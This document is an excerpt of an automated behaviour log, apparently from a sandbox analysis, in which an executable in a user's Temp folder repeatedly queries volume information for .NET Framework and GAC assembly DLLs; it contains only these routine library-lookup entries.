Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Linq\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Linq.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Linq.Expressions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Linq.Expressions\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Linq.Expressions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Linq.Parallel\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Linq.Parallel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Management.Instrumentation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Instrumentation\v4.0_4.0.0.0__b77a5c561934e089\System.Management.Instrumentation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.Http.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.Http.Rtc\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.Http.Rtc.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.Http.WebRequest.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.Http.WebRequest\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.Http.WebRequest.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.NameResolution.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.NameResolution\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.NameResolution.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.NetworkInformation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.NetworkInformation\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.NetworkInformation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.Ping.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.Ping\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.Ping.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.Primitives\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.Requests.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.Requests\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.Requests.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.Sockets.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.Sockets\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.Sockets.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.WebHeaderCollection.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.WebHeaderCollection\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.WebHeaderCollection.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Net.WebSockets.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Net.WebSockets\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Net.WebSockets.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Numerics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Numerics.Vectors.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ObjectModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Reflection.context.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Reflection.Context\v4.0_4.0.0.0__b77a5c561934e089\System.Reflection.context.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Reflection.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Reflection\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Reflection.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Reflection.Emit.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Reflection.Emit\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Reflection.Emit.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Reflection.Emit.ILGeneration.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Reflection.Emit.ILGeneration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Reflection.Emit.ILGeneration.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Reflection.Emit.Lightweight.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Reflection.Extensions\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Reflection.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Reflection.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Reflection.Primitives\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Reflection.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Resources.Reader.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Resources.Reader\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Resources.Reader.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Resources.ResourceManager.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Resources.ResourceManager\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Resources.ResourceManager.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Resources.Writer.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Resources.Writer\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Resources.Writer.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.Caching.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Caching\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Caching.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.CompilerServices.VisualC.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.CompilerServices.VisualC\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.CompilerServices.VisualC.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.DurableInstancing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.DurableInstancing\v4.0_4.0.0.0__31bf3856ad364e35\System.Runtime.DurableInstancing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Extensions\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.Handles.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Handles\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Handles.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.InteropServices.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.InteropServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.InteropServices.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.InteropServices.RuntimeInformation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.InteropServices.WindowsRuntime.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.InteropServices.WindowsRuntime\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.InteropServices.WindowsRuntime.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.Numerics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.Serialization.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization.Formatters\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Serialization.Formatters.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.Serialization.Formatters.Soap.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization.Formatters.Soap\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Serialization.Formatters.Soap.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization.Formatters.Soap\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Serialization.Formatters.Soap.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.Serialization.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization.Primitives\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Serialization.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.Serialization.Xml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization.Xml\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Serialization.Xml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.WindowsRuntime.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Runtime.WindowsRuntime.UI.Xaml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.WindowsRuntime.UI.Xaml\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.WindowsRuntime.UI.Xaml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Security.Claims.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security.Claims\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.Claims.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Security.Cryptography.Algorithms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security.Cryptography.Algorithms\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.Cryptography.Algorithms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Security.Cryptography.Csp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security.Cryptography.Csp\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.Cryptography.Csp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Security.Cryptography.Encoding.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security.Cryptography.Encoding\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.Cryptography.Encoding.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Security.Cryptography.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security.Cryptography.Primitives\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.Cryptography.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security.Cryptography.X509Certificates\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.Cryptography.X509Certificates.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Security.Principal.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security.Principal\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.Principal.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security.SecureString\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.SecureString.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.Activation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Activation\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Activation.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Channels\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Channels.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.Discovery.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Discovery\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Discovery.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Duplex\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceModel.Duplex.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.Http.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Http\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceModel.Http.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.NetTcp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.NetTcp\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceModel.NetTcp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Primitives\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceModel.Primitives.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.Routing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Routing\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Routing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceModel.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.ServiceMoniker40.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.ServiceMoniker40\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.ServiceMoniker40.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.WasHosting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.WasHosting\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.WasHosting.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceModel.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.ServiceProcess.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Text.Encoding.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Text.Encoding\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Text.Encoding.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Text.Encoding.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Text.Encoding.Extensions\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Text.Encoding.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Text.RegularExpressions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Text.RegularExpressions\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Text.RegularExpressions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Threading.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Threading.Overlapped.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Threading.Overlapped\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Threading.Overlapped.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Threading.Tasks\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Threading.Tasks.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Threading.Tasks.Parallel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Threading.Tasks.Parallel\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Threading.Tasks.Parallel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Threading.Thread.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Threading.Thread\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Threading.Thread.dll VolumeInformation
